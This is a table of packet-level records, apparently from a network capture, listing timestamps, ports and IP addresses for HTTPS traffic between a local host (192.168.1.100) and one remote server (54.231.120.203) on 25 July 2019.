Jul 25, 2019 13:47:08.880784988 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.881567001 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.882486105 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.882529020 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.882572889 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.882602930 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.882632017 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.882658958 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.882661104 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.882692099 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.882738113 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.882769108 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.882819891 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.914403915 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.914437056 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.914452076 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.914465904 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.914577961 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.914751053 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.914859056 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.914989948 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.952531099 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.961525917 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.961894035 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.961918116 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.961951971 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.962572098 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.983297110 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.983346939 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.983428955 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.983474970 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.983516932 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.983594894 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.983845949 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.984075069 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.984086990 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.984138012 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.984265089 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.985085011 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.985152960 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.985213041 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.985308886 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.985353947 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.985394955 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.985415936 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.985435963 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.985477924 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.985707045 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.016957998 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.016993999 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.017100096 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.017126083 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.017163038 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.017199993 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.017211914 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.017222881 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.017247915 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.017566919 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.064273119 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.064332962 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.064526081 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.064841986 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.065203905 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.065361977 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.086020947 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.086066961 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.086091995 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.086118937 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.086272001 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.086716890 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.086759090 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.086852074 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.087308884 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.088354111 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.088423967 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.088450909 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.088509083 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.088526964 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.088545084 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.088579893 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.088604927 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.088629007 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.088656902 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.088787079 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.119468927 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.119564056 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.119664907 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.119741917 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.119745970 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.119779110 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.119879007 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.119884968 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.119925022 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.119963884 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.119975090 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.120023966 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.166827917 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.166872025 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.167067051 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.167485952 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.167547941 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.167615891 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.188338995 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.188390017 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.188419104 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.188451052 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.188592911 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.189296007 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.189341068 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.189440012 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.190797091 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.190855980 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.190906048 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.190947056 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.190964937 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.190977097 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.191005945 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.191087008 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.191121101 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.191190004 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.222052097 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.222114086 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.222146034 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.222176075 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.222203970 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.222276926 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.222384930 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.269459963 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.269685030 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.291019917 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.291083097 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.291126013 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.291165113 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.291328907 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.292129993 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.292193890 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.292320013 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.293276072 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.293344975 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.293400049 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.293445110 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.293456078 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.293499947 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.293541908 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.293577909 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.293582916 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.293699026 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.324826956 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.324870110 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.324892998 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.324915886 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.324942112 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.324964046 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.324999094 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.325093031 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.373557091 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.373831034 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.393520117 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.393556118 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.393577099 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.393595934 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.393829107 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.394965887 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.394996881 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.395092010 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.395800114 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.395848989 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.395881891 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.395901918 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.395912886 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.395945072 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.395975113 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.396008968 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.396012068 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.396078110 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.426975965 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.427011967 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.427035093 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.427057028 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.427078962 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.427153111 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.427171946 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.427227020 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.428555012 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.476578951 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.495913982 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.495949984 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.496140003 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.496263027 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.496274948 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.496371031 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.497139931 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.497174978 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.497292995 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.497869015 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.497955084 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.497988939 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.498016119 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.498028994 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.498040915 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.498076916 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.498092890 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.498115063 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.498219967 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.529505968 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.529555082 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.529588938 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.529617071 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.529644966 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.529673100 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.529772997 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.530807972 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.530849934 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.530970097 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.598498106 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.598552942 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.598592997 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.598730087 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.598908901 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.598984957 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.599649906 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.599741936 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.599772930 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.599829912 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.600847006 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.600893021 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.600908995 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.600938082 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.600955963 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.600970030 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.600984097 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.601073980 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.601156950 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.632299900 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.632383108 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.632435083 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.632462978 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.632488966 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.632514954 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.632517099 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.633356094 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.634814024 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.634864092 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.635015965 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.701366901 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.701427937 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.701458931 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.701572895 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.702125072 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.702168941 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.702197075 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.702223063 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.702281952 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.702337027 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.703392982 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.703442097 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.703488111 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.703521013 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.703537941 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.703632116 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.703736067 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.703772068 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.703794956 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.703990936 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.734618902 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.734667063 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.734694004 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.734728098 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.734894991 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.735527039 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.735580921 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.735686064 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.735729933 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.735941887 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.737066031 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.737121105 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.737255096 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.804454088 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.804517031 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.804701090 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.804806948 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.805000067 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.805116892 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.805145979 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.805150032 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.805226088 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.806257963 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.806304932 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.806339979 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.806370974 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.806401968 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.806416035 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.807459116 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.837270021 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.837526083 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.838416100 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.838478088 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.838507891 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.838640928 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.839472055 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.839541912 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.839737892 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.907552004 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.907716036 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.907767057 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.907809973 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.907851934 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.907864094 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.908255100 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.908819914 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.908900023 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.908946991 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.909068108 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.909689903 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.909724951 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.909873009 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.909970045 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.939766884 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.940071106 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.940717936 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.940763950 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.940826893 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.940916061 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:09.942260027 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.942298889 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:09.942327976 MESZ	443	50056	54.231.120.203	192.168.1.100
